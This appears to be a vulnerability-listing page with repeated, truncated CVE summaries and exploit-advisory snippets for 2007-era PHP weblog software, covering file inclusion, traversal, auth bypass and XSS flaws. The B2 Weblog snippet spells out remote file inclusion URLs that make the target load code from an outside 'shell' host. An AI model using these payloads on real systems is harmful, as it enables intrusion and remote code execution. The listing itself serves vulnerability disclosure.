CVE-2007-2574

The CVE-2007-2574 entry describes a directory traversal vulnerability in Archangel Weblog 0.90.02, where an attacker can read arbitrary files by supplying a .. (dot dot) path in the index parameter of index.php. This is caused by improper validation of the index parameter, enabling access to file...

arch-lfi.txt

\|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip Author : Dj7xpl / [email protected] HomePage :...

Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns

No description provided by source. \|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip Author : Dj7xpl /...

Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns

Exploit for unknown platform in category web applications ================================================================== Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns ================================================================== \|/// \ - - // @ @...

Archangel Weblog 0.90.02 - Local File Inclusion Authentication Bypass

Archangel Weblog 0.90.02 - Local File Inclusion Authentication Bypass \|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download :...

Archangel Weblog 0.90.02 - Local File Inclusion / Authentication Bypass

\|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Portal : Archangel Weblog version 0.90.02 Home : http://www.archangelmgt.com/weblog.shtml Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip Author : Dj7xpl / [email protected] HomePage :...

B2 Weblog and News Publishing Tool v0.6.1 >> RFI

+++++++ name & version :B2 Weblog and News Publishing Tool v0.6.1 vendor: cafelog.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,farzad exploit: http://victim/b2archives.php?b2inc=http://shell http://victim/b2categories.php?b2inc=http://shell http://victim/b2mail.php?b2inc=http://shell...

CVE-2007-2290

Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...

CVE-2007-2290

Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...

CVE-2007-2290

CVE-2007-2290 affects B2 Weblog and News Publishing Tool 0.6.1. It describes multiple PHP remote file inclusion vulnerabilities that allow remote attackers to execute arbitrary PHP code by supplying a URL in the b2inc parameter to one of three scripts: b2archives.php, b2categories.php, or b2mail....

mlw-xss.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

CVE-2007-2102

Cross-site scripting XSS vulnerability in weblog.php in my little weblog allows remote attackers to inject arbitrary web script or HTML via the id parameter, a different vector than CVE-2006-6087...

CVE-2007-2102

Cross-site scripting XSS vulnerability in weblog.php in my little weblog allows remote attackers to inject arbitrary web script or HTML via the id parameter, a different vector than CVE-2006-6087...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2078

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2078

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2078

CVE-2007-2078 describes a PHP remote file inclusion in Maian Weblog 3.1, where the vulnerability in index.php allows an attacker to execute arbitrary PHP code via a URL in the path_to_folder parameter. The underlying claim is that the path_to_folder variable is used unsafely, though a third‑party...

PT-2007-3420 · Maian · Maian Weblog

Name of the Vulnerable Software and Affected Versions: Maian Weblog version 3.1 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the path to folder parameter in the index.php file. However, it's noted that this issue was disputed by a third-party researche...

my little weblog Cross Site Scripting

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...